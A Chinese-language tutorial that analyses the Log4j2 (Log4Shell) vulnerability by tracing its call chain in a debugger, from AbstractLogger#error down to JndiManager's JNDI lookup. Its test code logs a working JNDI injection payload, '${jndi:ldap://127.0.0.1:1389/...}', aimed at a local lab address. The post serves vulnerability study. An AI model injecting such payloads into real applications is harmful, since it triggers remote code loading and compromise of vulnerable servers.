本文已制作成视频为大家讲解:揭秘Log4j2漏洞的四个关键点
环境搭建
我们写一个小例子,来跟一下Log4j2漏洞中的方法调用
先添加maven依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
|
编写测试代码
1 2 3 4 5 6 7 8 9
| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Log4j2RCE { public static void main(String[] args) { Logger logger = LogManager.getLogger(Log4j2RCE.class); logger.error("${jndi:ldap://127.0.0.1:1389/1vtanq}"); } }
|
注意:运行环境为jdk1.8
为了分析调用链,我们在org.apache.logging.log4j.core.net.JndiManager类的lookup方法打上断点
我们看到该方法调用了javax.naming.Context类的lookup方法,该方法可能会产生JNDI注入漏洞

启动debug,分析方法调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi)
|
从AbstractLogger类的error方法,调用到JndiManager的lookup方法,在该方法中调用了javax.naming.Context类的lookup方法,一共33层方法调用。
我们简单分析其中几个重要的类和方法:
1. AbstractLogger#error()
logger是一个Logger类的对象,调用error方法,但是看调用栈是直接调用了AbstractLogger类的error方法,这是为什么呢?我们来分析一下。
Logger类是一个接口,声明了一个抽象方法error()和一些其他的基本的日志记录方法

因此,在实际执行过程中会调用实现了 Logger 接口的具体类的error() 方法。那为什么实际调用中选择AbstractLogger类呢?答案在LogManager.getLogger()方法中。
getLogger()会一直调用到org.apache.logging.log4j.core.LoggerContext类的getLogger方法


其中logger由newInstance()方法生成,调用org.apache.logging.log4j.core.Logger类的构造方法创建了一个实例。

而构造方法中使用super先调用父类的构造方法,我们可以看到其父类就是AbstractLogger类
因此在logger.error实际执行过程中会调用实现了 Logger 接口的AbstractLogger类的error() 方法
该处有些文章说“由于Logger中没有error方法,会调用其父类AbstractLogger中的error方法”,我感觉这样说可能会有些不妥。
2. PatternLayout#toSerializable
这里的formatters[8]是一个MessagePatternConverter对象,然后调用其format方法

这个方法的作用是将格式化的内容添加到workingBuilder中,当检测到workingBuilder中存在占位符${}时,会调用replace方法来替换占位符

3. StrSubstitutor#replace
这里开始解析${}中间的内容,以用来在workingBuilder中替换这个占位符

取出${}中间的jndi:ldap://127.0.0.1:1389/1vtanq,然后调用resolveVariable方法解析

获取一个VariableResolver,这是一个Map,其中就包括待会儿会用到的JndiLookup

然后取出前缀jndi,根据前缀拿到JndiLookup,后面调用了其lookup方法

4. JndiLookup#lookup
在JndiLookup类的lookup方法中调用了JndiManager类的lookup方法

也就回到了一开始我们打断点的地方,这里调用了javax.naming.Context类的lookup方法,该方法可能会产生JNDI注入漏洞
